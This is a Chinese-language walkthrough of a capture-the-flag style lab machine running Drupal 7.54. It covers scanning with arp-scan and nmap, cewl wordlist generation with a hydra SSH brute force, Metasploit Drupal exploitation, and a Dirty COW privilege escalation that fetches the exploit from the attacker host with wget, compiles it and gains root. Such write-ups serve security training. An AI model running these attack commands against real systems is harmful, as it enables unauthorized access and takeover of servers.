一.信息收集
先收集一下ip和端口信息
└─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:bc:5c:d2, IPv4: 192.168.32.129
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.32.1 00:50:56:c0:00:08 VMware, Inc.
192.168.32.2 00:50:56:f1:d7:4e VMware, Inc.
192.168.32.145 00:0c:29:f0:9e:2f VMware, Inc.
192.168.32.254 00:50:56:ff:3d:8c VMware, Inc.└─# nmap -sV -p- 192.168.32.145
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-09-14 11:51 CST
Nmap scan report for 192.168.32.145 (192.168.32.145)
Host is up (0.0013s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.7 (Ubuntu Linux; protocol 2.0)
80/tcp open http?
1898/tcp open http Apache httpd 2.4.7 ((Ubuntu))有两个http页面和一个ssh
访问http://192.168.32.145/,没什么信息


扫描目录,发现CHANGELOG.txt存在版本信息,Drupal 7.54


http://192.168.32.145:1898/?q=node/1

http://192.168.32.145:1898/?q=node/2

http://192.168.32.145:1898/audio.m4a 语音获得用户名:tiago
http://192.168.32.145:1898/qrc.png 是一个二维码,二维码里是一句话
二.拿shell
暴力破解ssh
利用cewl获取网站关键信息从而生成一个密码字典:
先利用cewl来生成一份结合网站目标的社工性质的密码字典、不理解的可以搜索网上搜索cewl学习,然后九头蛇暴力破解得到用户密码:
cewl http://192.168.32.145:1898/?q=node/1 -w dayu.txthydra -l tiago -P dayu.txt 192.168.32.145 ssh[22] [ssh] host: 192.168.32.145 login: tiago password: Virgulino
利用MSF
利用搜集到的敏感信息,搜索存在的漏洞,这里使用kali自带的msf。

可以使用2018年3月28日,爆出的一个漏洞,利用此漏洞,可以执行远程注入(靶机drupal更新日志为2017-02-01)。 设置目标主机192.168.29.135 , 目标端口 1898 ,然后run,Kali与靶机建立连接。
msfconsole
search drupal
use 1
set rhost 192.168.32.145
set rport 1898
run输入shell获取交互式命令
由于我们获取的shell并不是一个具有完整交互的shell,对于已经安装了python的系统,我们可以使用python提供的pty模块,只需要一行脚本就可以创建一个原生的终端,命令如下:
python -c 'import pty;pty.spawn("/bin/bash")'三.提权
如何获取root权限,有以下几个思路 1、Sudo -l 查询具有sudo权限命令,然后使用对应的命令提权 2、SUID提权,find / -perm -u=s -type f 2>/dev/null 3、通过某些方法在/etc/passwd添加一个root权限的账户进行提权, 4、find / -writable -type f 2>/dev/null 查找可利用的可写文件,若是计划任务文件可写即可利用提权 5、内核提权 这里使用内核提权 查看内核版本uname -a

这里我们利用的是CVE-2016-5195:脏牛(Dirty Cow)漏洞-Linux一个内核本地提权漏洞 ,黑客通过远程入侵获取低权限用户后,利用该漏洞在全版本Linux系统服务器上实现本地提权,从而获取到服务器root权限。

漏洞影响范围:Linux Kernel >= 2.6.22 的所有 Linux 系统
意味着从 2007 年发布 2.6.22 版本开始,直到2016年10月18日为止,这中间发行的所有 Linux 系统都受影响。而我们的靶机为ubuntu14.04.5更新时间为16年-8月-05所以存在漏洞
kali机
searchsploit dirty
cp /usr/share/exploitdb/exploits/linux/local/40847.cpp ~/temp
继续开启本地pthon服务,然后把40847.cp发送到靶机上:
cd ~/temp
python -m http.server 8081
靶机
cd /tmp
wget http://192.168.32.129:8081/40847.cpp
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dayu 40847.cpp -lutil
1、-Wall 一般使用该选项,允许发出GCC能够提供的所有有用的警告
2、-pedantic 允许发出ANSI/ISO C标准所列出的所有警告
3、-O2编译器的优化选项的4个级别,-O0表示没有优化,-O1为缺省值,-O3优化级别最高
4、-std=c++11就是用按C++2011标准来编译的
5、-pthread 在Linux中要用到多线程时,需要链接pthread库
6、-o dayu gcc生成的目标文件,名字为dayu
./dayu
Root password is: dirtyCowFun
获得root用户密码!